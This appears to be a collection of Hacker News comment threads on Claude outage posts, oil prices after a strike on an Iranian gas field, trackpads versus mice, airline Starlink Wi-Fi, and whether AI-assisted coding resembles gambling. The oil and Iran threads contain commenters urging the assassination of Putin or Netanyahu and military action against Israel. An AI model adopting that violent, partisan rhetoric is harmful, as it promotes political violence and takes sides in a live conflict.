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Ask HN: Can we please stop with the posts about Claude outages?
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Flag them when you see them on the new page.
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Stop reading them? You click each time and read the chorus of me-toos?
Oil nears $110 a barrel after gas field strike (bbc.com)
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btw fertilizer prices are now 40% higher this is going to destroy world economy on every angle fuel and now food it's like the Israeli's figured out the answer to their problem was to make it everyone's problem how about we stop giving them offensive weapons, defensive only or we'll be going through this every decade
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Again the US admin proves how dumb they are, even Pres. Bush II knew it would be real stupid to attack Iran. But one thing, higher oil prices may get the US to really get working to avoid Climate Change. Yes, some progress has been made, but real CO2 emissions is increasing. The only time it decreased a bit was during the Covid Shutdown. But one plus may occur, higher price of oil. Yes, higher prices will cause suffering with the poor and middle classes, but that suffering pales in comparison to what +1.5C will cause. We are already on track for more then 2C. Suffering from that will be far worse than $150 USD price per barrel. Better to take a small hit now and hope it can keep us below 1.5C then trying to live with 2C.
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It's important to clarify that these are the trading prices at the main oil futures exchange in London. The spot prices in the landing hubs like Gujarat, Odisha and Singapore are significantly higher. If you or your firm handles trucking or mining or tractors or something like buses, stock up on additives where the vast majority of production (like brake fluid, AdBlue (DEF) and gear oil) is Asian now before they get even more expensive. To give a sense of perspective, I've seen prices for transmission fluid and antifreeze almost double month-on-month in England where I am.
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The natural gas field strike very conveniently increases the EU dependencies on US LNG. The diversification via Qatar had already been shut down, now Israel drives the Iranian gas buyers to compete on the world market. It is a great plan. The Gulf Monarchies are weakened (that is what you get for your Trump bribes ...), the EU is weakened, and the US controls all energy flows. China can use the land route to Russia. The EU is going to commit economic suicide instead.
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Great plan for whom? Trump is headed towards Nixon levels of popularity and Nixon methods of ejection with this sort of stuff. The war is hugely unpopular, Trump is less popular, and if gasoline prices stay high and we get involved in a ground war there may be a popular revolution even before Democrats get elected and are able to impeach. Deals done in Yuan will still get through Hormuz. EU could switch currencies for fossil fuels, get their energy, and further lessen their dependence on a US that expresses nothing but hate and disgust for the EU.
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Nixon method of ejection indeed. He did say he wanted regime change after all
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EU has had a lot of time to recognize the situation they have been in regarding energy. Sorry, but this will never not be not amusing. Where Trump being a stopped clock warns the UN about relying on foreign energy and the German delegation laughs as they were shutting down their nuclear and increasing reliance on Russia for energy. https://m.youtube.com/watch?v=FfJv9QYrlwg
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If I were the EU, I'd send a covert ops team to assassinate Putin. Then start talking with his successor and re-establish the Nord Stream deliveries.
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Putin is not a mad dictator ruling against everyone’s wishes. He’s a leader of a large establishment elite which shares his views and gets very rich. If you replace Putin, most likely outcome is his replacement will not be very different (and probably worse, since the country will be even more anti-Western after the assassination)
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I I where the EU, I would send ops teams to assassinate Bibi.
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Real life isn't a James Bond movie. The next guy in line is more belligerent than Putin
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Wouldn't they reciprocate the tactic instead?
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That could work really well, or it could fail in a humiliating public way and totally confirm+legitimize that regime's paranoia. Huge downsides.
I haven't used a mouse for 14 years (axelk.ee)
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Wish I could use a trackpad as-is. My wrists are mildly FUBAR after decades of computer work/obsession, and now I'm having to deal with it. For me , that means that continual wrist pronation freaking hurts . Let your arms hang straight down. Now bend your elbows and lift your forearms so that they're at 90º to your body, i.e. parallel to the ground. Notice that your hands are naturally oriented so that if you were holding a pole, it would be much closer to pointing downward than sideways. Rotating your wrists "inward" so that your hand is parallel to your desk, in the position to use a trackpad, is not their normal position. I used a magic trackpad for quite a while until I found myself in agony by the end of the day. One of my coworkers told me he was exploring using vertical mice and that caught my attention. I tried one and it stopped the pain, like, immediately. Mousing around was awkward for a few days until I got used to the different hand orientation and movement, but that passed quickly. Now I'd never, ever go back to a trackpad. I'd considered making a little block to mount my magic trackpad sideways at, say, a 45º angle to my desk so that my wrist wasn't so pronated, but even then it nudges you toward radial and ulnar deviation which can also become uncomfortable over time. I'd rather just painlessly use my vertical mouse which uses forearm movement and write extension/flexion to zip the cursor around my screen.
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I thought it was going to be about someone who’d fully embraced the terminal. Preferring a trackpad to a mouse seems not so unusual, right? I guess sticking to it so completely is. I prefer marble-mouse type devices, but I can’t say with any certainty that I haven’t accidentally touched a mouse in the past 14 years.
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It is utterly insane that 3 finger drag isn't the default or at least not buried 3 layers deep inside accessibility. Apple, what are you doing?
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I'm on 12 years and I didn't know about the 3 fingers drag, thanks for sharing!
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>I am still amazed by Mac's Trackpad quality to this day. I used to own Windows laptops, and most of their touchpads are so shit I have hear multiple times that patents are the reason for the bad trackpads outside of Apples products. But I have never been able to find a confirmation. Talking about mouse alternatives I would like to give rollermouse a shout-out. Beside the relaxed arm position they give, I really like that they invite to use both hands at the same time. With the similar workload between both hands and arms I find the over all strain lower even with repetitive tasks for a long time.
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I've tried them all. Trackpad, trackpoint, trackball, all of them. I keep coming back to a mouse. Everything else is either frustrating and finicky, or it induces RSI after a few hours.
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What worked for me is “logitech lift”, one left handed the other right handed. When they are connected I set up my Mac to disable the trackpad. That + sport and standing desk, did wonder to me.
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Did you try a mousetrapper?
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The Magic Trackpad and Logitech MX Master 3s mouse are an excellent combination for me. I see benefits from both.
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Windows has something better than three finger drag. It has single finger second tap and hold. Plus extended zones for when the trackpad is not big enough to stretch across
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> macOS setup guide used to include an option to turn on three finger drag, but now it has been hidden in the accessibility option. I don't understand why Apple does this. It's like the "allow ANC with one AirPod" setting, which is also inexplicably an accessibility option.
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I switched to a mac trackpad years ago due to hand pain that comes whenever I grip/use a mouse. Something about that half-closed-hand light grip has become just super painful. Unfortunately I still need to use one for FPS gaming, just haven't found a controller to match the speed and precision needed to aim and fire at a game opponent.
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I'm in the same boat when it comes to gaming. Primarily use a trackball mouse and have used it for some games like World of Warcraft or Path of Exile but a traditional mouse is still king for any FPS game. I did learn recently that Zowie released an ergonomic version of their mouse that I plan on checking out though. Unfortunately there's just not a ton of options out there for ergonomic gaming mice.
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I exclusively use trackpads like Magic Trackpad 2 when I'm on MacOS. But I exclusively use a mouse when I'm running Windows and Linux. MacOS just seems more tailored to the touchpad experience. Windows and Linux more tailored to the mouse experience.
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Modern GNOME distros (Ubuntu and Fedora when running Wayland, for example) work pretty well with a trackpad. You get all the usual Mac-style gestures: two finger scrolling, pinch to zoom, three finger horizontal swipe for workspaces, three finger vertical swipe for "expose" style app overview, etc. I'm running a Framework 13 and other than the physical click requiring more effort than the haptic "click" on a Mac, it's pretty dang similar.
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I spend most of my time using a ThinkPad laptop touchpad, but the critical property that makes it usable for me is the physical mouse buttons. I find it incredibly awkward to use any system without physical mouse buttons, or any system where tap-to-click has not been disabled. I tried, on my current laptop, to see if I could get used to having tap-to-click enabled even without actually using it ; I wanted to see how far off I was from being able to deal with any non-ThinkPad. I ended up turning it back off after a few days, after many many clicks I didn't want to click.
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My wife feels the same way as you. I guess everyone is different. To me, tap-to-click and two-finger right click feel the best by far.
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One of my favourite features on my Asus Zenbook (Windows) is the "Disable Touchpad" hotkey.
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I mean ... it's great that they gave you a slight accommodation, but that's at best a bodge to workaround bad hardware and software.
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Actually, the pad is not too bad - I'm just really not into trackpads.
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I haven't used a mouse in ages, but I haven't used a trackpad - ever. I've never found one that matches the accuracy, speed, and overall joy of using TrackPoint to move the mouse cursor.
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Yeah it’s really a shame that it wasn’t adopted globally (I’m assuming for patent reasons, but surely any patents must be expired by now).
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I love trackpoint for navigation and UI control. But it's not that great for drawing / painting (even though I did use it for that, successfully).
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I don't know, does a trackpad count? In one sense, no, it's not a mouse. In which case, I guess I'm in the same boat. I don't know if I even have any mice in the house anymore. OTOH, I thought this might be a post from a keyboard shortcut wizard.
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You have me beat by two years and I never knew about the three fingers drag. Great find... thanks!
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I despise trackpads. They feel so sloppy and approximate. Mice work great for my needs. But the best laptop pointer for me has been the pointing stick: https://en.wikipedia.org/wiki/Pointing_stick
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I despise trackpads. And yet I'll use nothing else. Conversely, I have never gotten along with pointy sticks, all the way back to the original 1993 Toshiba Portégé[0] despite their apparent popularity. [0] https://en.wikipedia.org/wiki/Dynabook_Portégé
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I'm in much the same boat. Daily Apple trackpad driver for the past 15 years at least, maybe more. Every time I have to use a PC with a mouse it kills me a little (and don't get me started on those trackpads cheap PC laptops ship with...)
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I can't use the trackpad for too long without getting RSI type feelings.. I am trackball these days.
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I love the Magic Trackpad and I've used exclusively for years, at some point my wrists start to hurt and I'm now stuck with some Logitech MX Vertical.
Anecdotal, but I haven't used my Magic Trackpad 2 since I bought a trackball (Kensington Expert Wireless). Removes all the same wrist strain issues while retaining flick accuracy of a mouse.
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Logitech MX Ergo fan here!
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+1 on trackballs, I use a sanwa gravi myself
Show HN: Will my flight have Starlink?
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Looking forward to Starlink on UK trains. I frequently have to go basically without internet for a couple of hours.
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United has this on some flights. It's no cost but they force you watch ads in the captive portal. I'd rather pay the $8 and be left in peace, every time.
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Just an ad one time when you login? That seems fine. I've never paid for hotel wifi and never will, but I don't mind an ad on the captive portal.
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Ben Thompson interviewed UA's CEO on Starlink a few months ago. Scott said: "It took time to negotiate, because we wanted to own the consumer data, and at the beginning, Starlink did, so that was hard, and then, the other thing was I wanted to let my big competitors in the United States finish their deals with other providers and get locked in so that we would — eventually, everyone’s going to have Starlink." Brilliant. Just brilliant. Ensured that UA would be first (of the 3 major US carriers) to Starlink and that everyone else had to wait until their existing agreements multi-year expired before switching. UA's best CEO in decades! https://stratechery.com/2026/an-interview-with-united-ceo-scott-kirby-about-tech-transformation/
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This is awesome! In the past I would use the promise of starlink or other LEO internet as a tiebreaker for booking flights and was disappointed a few times (as clearly not all of the airframes for an airline have the capability)
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Well, hells bells, next week I'm actually going to be flying on an Alaska Airlines E175. That's quite rare for me, I can't remember the last time I've flown on one of their small planes. And it looks like all of their E175s have Starlink. Sweet! I may have to try it out, even if paying for WiFi on a short flight is generally a waste of money. Edit: ooh, it's free! Because I have their credit card.
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> And it looks like all of their E175s have Starlink Not quite sorry, we only track the frames that do have Starlink. But if you check back a few days beforehand you can see if yours matches!
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It's depressing to see this that even the German Lufthansa is offering this. Elon musk did a Hilter salute and had a live stream with the German Nazi party afd Anti democracy behavior should be enough to not support anything that dude is doing but no....
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Lots of examples of anti-Elon pols giving nazi salutes and no one cares. People are done pretending that your concerns are genuine. Move on.
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Big fan. One feature idea/request - a map showing coverage with 0-100% by route (red/yellow/green lines). I’m just curious to see where I should think to look for / expect starlink options. Probing into a few upcoming trips showed basically no coverage.
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Oh that's a cool idea! We wanted to do a variant of this, will add it to the list. The tricky part for us is getting a canonical list of all flights + body types on it.
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I wish my bloody commuter train into London had Starlink. Even when the onboard wifi works you are limited to 100mb of traffic. I get a better 5g signal on the Jubilee line than I do on an overground train.
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looking back at the history of starlink, when was it decided to pursue this project at SpaceX? Was it always the natural evolution, i.e. cheap launches = more communications sats? Or was there a specific communications engineer/person that brought it up to Elon or Gwynne?
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I'm not actually sure myself, but I was really surprised to learn how profitable it is. SpaceX made $15b of revenue last year and $8b of profit. Starlink was 60-80% of that! It turns out the demand for really good internet everywhere is huge .
I've definitely thought about substituting a nonstop flight for a 1-stop flight on UA regional jets just to get Starlink on the entire route. The annoying this is I live by a UA hub and UA doesn't fly regional planes between UA hubs. So the best I've been able to do is a regional flight to a UA hub near me, and then a non-regional flight back to my home airport. Which is honestly probably not worth it. And it's definitely not worth doing a two-stop trip so I'm really excited for them to roll it out on their mainline jets!
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> The annoying this is I live by a UA hub and UA doesn't fly regional planes between UA hubs. Oh I actually didn't know this! Do you know why?
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Regional planes are for direct routes to smaller airports, but hub-to-hub flights can be filled up and easily justify larger airplanes.
Does anyone else appreciate the final space where we can be disconnected. I do, for one
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Not really, personally... time waits for no one.
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You can be disconnected wherever you want, with a bit of self control.
One nice thing about Starlink is that they force the airlines to offer it for free. I’m not sure why SpaceX is doing this, but it was surprising enough to me that my international WiFi was not only fast, but completely free that I researched it.
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> One nice thing about Starlink is that they force the airlines to offer it for free There are many ways to circumvent that, even while claiming to offer it for free.
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On the flip side, the "private" aviation customer is 100% forced into the pricey plans privately with (physical) speed enforcement on the terminals. There's even two tiers of aviation speed limting: 300MPH ($250/mo) and 450MPH ($1000/mo). They know who they're targeting at both speed points (the guy flying for fun in a prop VS the guy in a Gulfstream that wants to Get There Now). https://starlink.com/support/article/9839230e-dc08-21e6-a94d-e7c04cacdd1b
> I’m not sure why SpaceX is doing this One word: marketing.
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A few more words: they’re struggling to find a niche where their ungodly expensive product makes more sense than the readily available alternatives. In this case, fair play it’s objectively better.
United gives you free access only if you are a mileageplus member I think? Regardless, having free high speed internet on a flight will motivate me as a consumer every time.
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Joining United MileagePlus is completely free, you just sign up. About the same work as filling out a hotel wifi login.
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Completely free as in you don't have to give them money. But you need to give personal information which also has value.
Nobody wants their brand associated with price gouging and half-broken in-flight credit card payment portals, and Starlink is better enough than any alternative that they can play hardball with airlines.
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Delta is still stubbornly refusing to adopt Starlink. I've got status with them and have started booking with other airlines b/c it doesn't matter how nice the seats are if you can't get any work done. Most airline revenue comes from business flights, I don't think they realize how important this is to their customer base.
> Nobody wants their brand associated with price gouging and half-broken in-flight credit card payment portals The airlines have no problem with this. T-mobile has no problem with it either.
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T-Mobile also offers free Wifi on airplanes.
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Nobody had a problem with flip phones that play snake or Blackberry physical keyboards until the iPhone was demonstrated, and then nobody could conceive of ever going back (except in niche cases, e.g. journalists loved those keyboards)
Thank you for your service. Hopefully something like this can put pressure on airlines to understand how hostile their internet services are and that it matters. Last year I flew roundtrip to the Philippines on Philippines Airlines. Each way they claimed they had internet and each time, they sent an email reneging the day before the flight. The same thing happened when my sister-in-law flew with them a couple months earlier. These are long flights during which I expected to be able to work. Just so infuriating.
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That's frustrating. It's possible their link was down for some reason - airline maintenance issues happen all the time. :(
Iran's South Pars Gas Field Is Attacked by Israel, Sending Energy Prices Soaring (nytimes.com)
This didn't have to happen. The world is less safe now because America loves bombing brown people more than it loves its own children.
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"This didn't have to happen." True, we should just sit back and let Iran finish building it's arsenal of nuclear weapons, continue with their terrorism funding campaigns and killing of their own citizens. The only thing that should be different is that the US should have done this years ago.
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Even better, the people who voted for this insist that this is what Kamala was going to do! Which is why they had to vote against her! We got a broken and incompetent government because tens of millions of dumbasses apparently don't understand that lies exist, and that the guy who lies to your face every day will lie to your face!
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You've turned Golda Meir's quote on its head. Congratulations are in order I guess.
If you were wondering why your company’s stock is dropping, here’s the reason. I’m so sick of the entire world being punished so the Israel colony of terror can continue to exist. At what point do we collectively say enough is enough? I’m American and would absolutely support military action against Israel. In fact, it’s imperative that we do that sooner rather than later.
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A post-IRGC Iran is the single key to peace in the middle east. With Iraq neutralized, the Saudis and Emiratis firmly in the global order, Lebanon subdued by Israel, and Syria at least under (ostensibly) friendly control, Iran is the final piece of the puzzle. Like it or not, the world will be a safer place if the US succeeds here.
Sorry but this is on the United States. Israel's government has been wanting a show down with Iran for a while but we've typically functioned as the adult in the room to keep the piece - obviously that changed with Biden and now Trump, but Americans own this one.
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I agree but it’s also on Israel. It was Israel that just bombed this gas field.
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Actually, it's on Iran.
AI Coding Is Gambling (notes.visaint.space)
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When a code doesn't compile, it doesn't kill anyone. But if a Waymo suddenly veers off the road, it creates a real threat. Waymos had to be safer than real human drivers for people to begin to trust them. Coding tools did not have to be better than humans for them to be adopted first. Its entirely possible for a human to make a catastrophic error. I imagine in the future, it will be more likely that a human makes such errors, just like its more likely that a human will make more errors driving a car.
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All of this new capability has made me realize that the reason i love programming _isn't_ the same as the OP. I used to think (and tell others) that I loved understanding something deeply, wading through the details to figure out a tough problem. but actually, being able to will anything I can think of into existence is what I love about programming. I do feel for the people who were able to make careers out of falling in love w/ and getting good at picking problems & systems apart, breaking them down, and understanding them fully. I respect the discipline, curiosity, and intellect they have. but I also am elated w/ where things are at/going. this feels absurd to say, but I finally feel like I'm _good_ at programming, which is insane, because I literally haven't written a line of code myself in months, but having tools that can finally match the speed my ideas come to me is intoxicating
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It’s variable rewards and even with large models the same question can lead to dramatically different answers. Possibly because they route your request through different models. Possibly because the model has more time to dig through the problem. Nonetheless we have some illusion of control over the output (you we wouldn’t be playing it) but it is just the quality of the model itself that leads to better outcomes - not your input. If you can’t let go of the feeling thought, it’s definitely addictive. And as I look back, it’s a fast iteration on the building cycle we had before AI. But the brain really likes low latency - it is addicted to the fast reward for its actions. So AI, if it gets fast enough (sub 400ms) it will likely become irreversibly addictive to humans in general, as the brain will see is at part of itself. Hope it has our interest at heart by then.
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It’s like any powerful tool. If you use it right it’s amazing. If you get careless or don’t watch it closely you’ll get hurt really badly. Overall I’m a fan, but yes there are things to watch for. It doesn’t replace skilled humans but it does help skilled humans work faster if used right. The labor replacement story is bullshit mostly, but that doesn’t mean it’s all bad.
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I have had very similar experiences. I am not a professional software developer, but have been a Linux sysadmin for over a decade, a web developer for much longer than that, and generally know enough to hack on other people’s projects to make them suit my own purposes. When I have Claude create something from scratch, it all appears very competent, even impressive, and it usually will build/function successfully…on the surface. I have noticed on several occasions that Claude has effectively coded the aesthetics of what I want, but left the substance out. A feature will appear to have been implemented exactly as I asked, but when I dig into the details, it’s a lot of very brittle logic that will almost certainly become a problem in future. This is why I refuse to release anything it makes for me. I know that it’s not good enough, that I won’t be able to properly maintain it, and that such a product would likely harm my reputation, sooner or later. What frightens me is there are a LOT of people who either don’t know enough to recognize this, or who simply don’t care and are looking for a quick buck. It’s already getting significantly more difficult to search for software projects without getting miles of slop. I don’t know how this will ultimately shake out, but if it’s this bad at the thing it’s supposedly good at, I can only imagine the kinds of military applications being leveraged right now…
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"60% of the time, it works every time"
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Trying to decide whether to refinance now or not feels like gambling too. Yet it’s financially beneficial to make some bet. Defining “Gambling” like isn’t really helpful.
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If I said I had a machine where I put in "tokens", watch it spin, and either get nothing or something valuable (with which I get being largely chance), you'd presume it's some kind of slot machine.
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I mean, this completely falls apart when you're trying to do something "real". I am building a trading engine right now with Claude/Codex. I have not written a line of code myself. However I care deeply about making sure everything works well because it's my money on the line. I have to weight carefully the prospect of landing a change that I don't fully understand. Sometimes I can get away with 3K LoC PRs, sometimes I take a really long time on a +80 -25 change. You have to be intellectually honest with yourself about where to spend your time.
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I really hate when people write about the AI of the past, opus 4.6 and gpt 5.4 [not as much imo, it's really boring and uncreative] have increased in capabilities so much that it's honestly mind numbing compared to what we had LESS than a year ago. Opus specifically from 4.1 to 4.5 was such a major leap that some take it for granted, it went from getting stuck in loops, generally getting lost constantly, needing so so much attention to keep it going to being able to get a prompt, understand it from minimal context and produce what you wanted it to do. Opus 4.6 was a slight downgrade since it has issues with respecting what the user has to say.
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Is using a calculator gambling?
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“hiring people is gambling”
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Fascinating how HN is torn about vibe coding still. Everybody pretty much agrees that it works for some use cases, yet there is a flamewar (I mean, cultured, HN-type one) every time. People seem to be more comfortable in a binary mindset.
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> Everybody pretty much agrees that it works for some use cases That isn't true, which is the exact reason why people have a binary mindset. More than once on Hacker News I've had people accuse me of being an AI booster just because I said I had success with agents and they did not.
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VIM vs Emacs vs IDE vs..., Tabs vs Spaces, Procedural vs OOP vs Functional. We love a good holy war for sure. The nuance is lost, and the conversations we should be having never happen (requirements, hiring/skills, developer experience).
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It’s just how discussion on the internet works, for basically anything at all worth discussing. It’s exhausting, but I can hardly blame HN specifically.
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> I divide my tasks into good for the soul and bad for it. Coding generally goes into good for the soul, even when I do it poorly. Lmk how you feel when you're constantly build integrations with legacy software by hand.
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Inductive reasoning of any kind (e.g. the scientific method) is gambling.
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As always, scope the changes to no larger than you can verify. AI changes the scale, but not the strategy. Now you have more resources to test, reduce permissions scope, to build a test bench & procedure. All of the excuses you once had for not doing the job right are now gone. You can write 10k + lines of test code in a few minutes. What is the gamble? The old world was a bigger gamble.
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You got to know when to Ship it, Know when to Re-prompt, Know when to Clear the Context, And know when to RLHF. You never trust the Output, When you’re staring at the diff view, There’ll (not) be time enough for Fixing, When the Tokens are all spent.
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You're a gamblin' man, I see...
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Yes, that's literally how LLM's work, they're probabilistic.
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I was just thinking about this. I was reading those tweets about the SV party were people were going home early to “check on their agents” or the “token anxiety” people are having over whether they are optimizing their agent usage. This is all giving me addiction vibes. Especially at the end of the day it seems like there is not much to show for it.
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Addiction for the mere purpose of satisfying a compulsion, rather than to achieve a reward or physical "high."
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So. Is. Life. You've discovered probability, there was an 80% change of that. Roll a dice and do not pass go. Again. The output from llm is a probable solution, not right, not wrong.
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It is and will always be about: 1) properly defining the spec 2) ensuring the implementation satisfies said spec
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> properly defining the spec Why do you often need to re-prompt things like "can you simplify this and make it more human readable without sacrificing performance?". No amount of specification addresses this on the first shot unless you already know the exact implementation details in which case you might as well write it yourself directly. I often have to put in a prompt like this 5-10 times before the code resembles something I'd even consider using as a 1st draft base to refactor into something I would consider worth of being git commit. I mostly use AI for tiny standalone functions or scripts so we're not talking about a lot of deeply nested complexity here.
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> I often have to put in a prompt like this 5-10 times before the code resembles something I'd even consider using as a 1st draft base to refactor into something I would consider worth of being git commit. Are you stuck entering your prompts in manually or do you have it setup like a feedback loop like "beautify -> check beauty -> in not beautiful enough beautify again"? I can't imagine why everyone things AIs can just one shot everything like correctness, optimization, and readability, humans can't one shot these either.
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That can't be the whole story, right? Because there are an arbitrarily large number of (e.g.) Rust programs that will implement any given spec given in terms of unit tests, types, and perhaps some performance benchmarks. But even accounting for all these "hard" constraints and metrics, there are clearly reasons to prefer some possible programs over others even when they all satisfy the same constraints and perform equally on all relevant metrics. We do treat programs as efficient causes[1] of side effects in computing systems: a file is written, a block of memory is updated, etc. and the program is the cause of this. But we also treat them as statements of a theory of the problem being solved[2]. And this latter treatment is often more important socially and economically. It is irrational to be indifferent to the theory of the problem the program expresses. [1]: https://en.wikipedia.org/wiki/Four_causes#Efficient [2]: https://pages.cs.wisc.edu/~remzi/Naur.pdf
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Well it’s more how much we care about those. Which with the advent of LLMs just lowered our standards so we can claim success.
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Personally, I get a huge rush of dopamine seeing LLMs build out complex features very quickly to the point that it will keep me up all night wanting to push further and further. That's where the gambling metaphor really resonates. It's not whether or not the output is correct, I've been building software for many years and I know how direct LLMs pretty well at this point. But I'm also an alcoholic in recovery and I know that my brain is wired differently than most. And using LLMs has tested my ability to self-regulate in ways that I haven't dealt with since I deleted social media years ago.
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> Personally, I get a huge rush of dopamine seeing LLMs build out complex features very quickly I dont think i've read a sentence on this website i can relate to less. I watch the LLM build things and it feels completely numb, i may as well be watching paint dry. It means nothing to me.
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Trust me, I have many days where I wish I had your relationship to this. I wish it were as boring as watching paint dry. But it triggers that part of my brain that wants more, and I have to be very careful about that.
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It also doesn’t help that producing features is also wired to a sense of monetary compensation. More-so if you’re building a product to sell that might finally be your ticket to whatever your perception of socio-economic victory is.
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That's definitely part of it, sure. I also just get a cosmic kick out thinking about the possibilities that this technology unlocks and that thinking can spiral in all sorts of unhealthy ways.
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AI: "Yes, the specs are perfectly clear and architectural standards are fully respected." [Imports the completely fabricated library docker_quantum_telepathy.js and calls the resolve_all_bugs_and_make_coffee() method, magically compiling the code on an unplugged Raspberry Pi] AI: "Done! The production deployment was successful, zero errors in the logs, and the app works flawlessly on the first try!"
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Then pulling the lever until it works! You can also code up a little helper to continuously pull the lever until it works!
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We have a monkeys and typewriters thing for this already. Just instead of hitting keys, they’re hitting words, and the words have probability links to each other. Who the hell thinks this is ready to make important decisions?
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I had a CIO tell me 15 years ago with Agile I was wasting my time with specs and design documents.
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I was in a call just today where specs were presented as a new thing.
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So is human coding.
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haha.. I agree with the points mentioned in the article. Literally every model does this. It feels like this even with skills and other buzzword files
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I'd emphasize that it isn't just metaphorical gambling as in "taking a risk", the scary part is the more-literal gambling via addictive behaviors, and how it affects the way the user views the world. Heck, this style of gambling machine offers a parasocial relationship at the same time! A slot-machine that is also a holographic "friend" is a perfect fit for any cyperpunk dystopia.
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Sometimes I feel that subsidising these packages (vs cost via API) is meant to make more and more people increasingly addicted
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For me, the feedback loop accelerating the way that AI now permits is so addictive in my day-to-day flows. I've had a really hard time stepping away from work at a reasonable hour because I get dopamine hits seeing Claude build things so fast. Addiction and recovery is part of my story, so I've done quite a bit of work around that part of my life. I don't gamble, but I can confidently say that using LLMs has been an incredible boost in my productivity while completely destroying my good habits around setting boundaries, not working until 2AM, etc. In that sense, it feels very much like gambling.
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I see whole teams pushed by c- level going full in with spec driven + tdd development. The devs hate it because they are literally forbidden to touch a single line if code. but the results speak for themselves, it just works and the pressure has shifted to the product people to keep up. The whole tooling to enable this had to be worked out first. All Cursor and extreme use of a tool called Speckit, connected to Notion to pump documentation and Jira.
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> literally forbidden to touch a single line if code. That is extremely stupid. What does that ban get you? I reqct to this because a friend mentioned exactly this. And I was dumbfounded.
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It seems like just a CxO dick measuring exercise. CEO1: "We allow our engineers to use AI for all work." CEO2: "Oh yea? We mandate our engineers use AI for at least N% of their work!" CEO3: "You think that's good? We mandate our engineers use AI for all code!!" CEO4: "Pfff, amateurs. We don't even allow our engineers to open source code editors or even look at the LLM output..."
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> That is extremely stupid. What does that ban get you? confidence in firing coders I presume..
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Everything is "fast, cheap, good--pick two." This is no different.
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I like the analogy but which 2 is AI coding? Fast & Cheap (but not Good?) - I wouldn't really say that AI coding is "cheap" Cheap & Good (but not Fast) - Again, not really "cheap" Fast & Good (but not Cheap) - This seems like maybe where we're at? Is this a bad place?
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The proper idiom is "You can only pick two". It doesn't say that everything is two of them, or even one.
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Life is full of variable reward schemes. Probably why we evolved to be so enamoured by them. Sometimes I think we put the Carr before the horse. We gamble because evolution promotes that approach. Yes I could go for the reliable option. But taking a punt is worth a shot if the cost is low. The cost of AI is low. What is a problem is people getting wrapped up in just one more pull of the slot machine handle. I use AI often. But fairly often I simply bin its reponse and get to work on my own. A decent amount of the time I can work with the response given to make a decent result. Sometimes, rarely, it gives me what I need right off the bat.
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I doubt gambling is in nature. Investments based on reason pay off. Evolution shapes for sensical moves. Humans invented gambling as a rigged game that mimics what's in nature, perversed for profit.
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The "natural" form of gambling is this. You need to collect food, do you go to where you know there are berries (low value but high likelihood of finding), or scout off to find a herd of deer? (High value but low likelihood of finding). Looking for deer wouldnt be walking off in a random direction. You check water holes, known clearings, known fields. Each of these is an operation (walk to X and look), each has a low probability of meeting a deer. This is a variable reward scheme. The result is optmize foraging practices - you mostly hunt for deer then fall back to berries. In larger groups some will gather berries some will hunt. Contrary to popular thought hunter and gatherer were not separate occupations.
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This "slot machine" metaphor is played out. If you're just entering a coin's worth of information and nudging it over and over in the hopes of getting something good, that's a you problem, not a Claude problem. If, on the other hand, you treat it like a hyper-competent collaborator, and follow good project management and development practices, you're golden.
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> If, on the other hand, you treat it like a hyper-competent collaborator, and follow good project management and development practices, you're golden. I am consistently using 100% of my weekly $200 max plan. I know how this thing works, I know how to get value out of it, and I wish what you said were true. If you do all of these things? You are in a better spot. You are in a far better spot than if you hadn't! Setting up hooks to ensure notes get written? Massive win! Red-green TDD? Yes, please! But in terms of just ... well, being able to rely on the damn thing? https://github.com/ctoth/claude-failures
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_hyper-competent collaborator who may completely make things up occasionally and will sometimes give different answers to the same question*_
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Life is full of variable reward schemes. Probably why we evolved to be so enamoured by them. In a healthy environment. We are harmed more by being totally risk adverse. Than by accepting risk as part of life and work.
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few thoughts on this- it's not gambling if the most expected outcome actually occurs. It also depends on what you're coding with; - If you're coding with opus4.6, then it's not gambling for a while. - If you'r coding with gemini3-flash, then yeah. One thing I have noticed though is- you have to spend a lot of tokens to keep the error/hallucination rate low as your codebase increases in size. The math of this problem makes sense; as the code base has increased, there's physically more surface where something could go wrong. To avoid that you have to consistently and efficiently make the surface and all it's features visible to the model. If you have coded with a model for a week and it has produced some code, the model is not more intelligent after that week- it still has the same layers and parameters, so keeping the context relevant is a moving target as the codebase increases (and that's why it probably feels like gambling to some people).
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> it's not gambling if the most expected outcome actually occurs. > you have to spend a lot of tokens to keep the error/hallucination rate low Ironically, I find your comment more effective at convincing me AI coding is gambling than the original article. You're talking about it the exact same way that gamblers do about their games.
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lol that's interesting. care to explain why?
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idk it works for me it build stuff that would have taken weeks in hours ymmv
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It is indeed gambling. You are spending more tokens hoping that the agent aligns with your desired output from your prompt. Sometimes it works, sometimes it doesn't. Watching vibe gamblers hooked onto coding agents who can't solve fizz buzz in Rust are given promotional offers by Anthropic [0] for free token allowances that are the equivalent in the casino of free $20 bets or free spins at the casino to win until March 27, 2026. The house (Anthropic) always wins. [0] https://support.claude.com/en/articles/14063676-claude-march-2026-usage-promotion
Assigning work to an intern is gambling: they're inherently non-deterministic and it's a roll of the dice whether the work they do will be good enough or you'll have to give them feedback in order to get to what you need.
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The only similarity is that they both say "you’re absolutely right" when you point out their obvious mistakes
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1. Interns learn. LLMs only get better when a new model comes out, which will happen (or not) regardless of whether you use them now. 2. Who here thinks that having interns write all/almost all of your code and moving all your mid level and senior developers to exclusively reviewing their work and managing them is a good idea?
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I don't know that the "humans learn, LLMs don't" argument holds any more with coding agents. Coding agents look at existing text in the codebase before they act. If they previously used a pattern you dislike and you tell them how to do differently, the next time they run they'll see the new pattern and are much more likely to follow that example. There are fancier ways of having them "learn" - self-updating CLAUDE.md files, taking notes in a notes/ folder etc - but just the code that they write (and can later read in future sessions) feels close-enough to "learning" to me that I don't think it makes sense to say they don't learn any more.
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As someone who has worked with interns for year, expect feedback and reiterations always, be surprised if they get it the first time... which merits feedback as well! But looks like the intern mafia is bombarding you with downvotes.
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That’s very true. But interns aren’t supposed to be doing useful work. The purpose of interns is training interns and identifying people who might become useful at a later date. I’ve never worked anywhere where the interns had net productivity on average.
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Replace "intern" with "coworker" and my comment still holds.
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You generally don’t assign work to an intern just for the output, though.
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An intern can be taught. If you try to 'teach' a craps table, they'll drag you out of the casino.
> But now either the AI can handle it or it can pretend to handle it. Frankly it's pretending both times, but often it's enough to get the result we need. This has been how I think about it, too. The success rates are going up, but I still view the AI as an adversary that is trying to trick me into thinking it's being useful. Often the act is good enough to be actually useful, too.
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The first anthropomorphization of AI which is actually useful.
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It's not even an anthropomorphization, the reward function in RLHF-like scenarios is usually quite literally "did the user think the output was good"
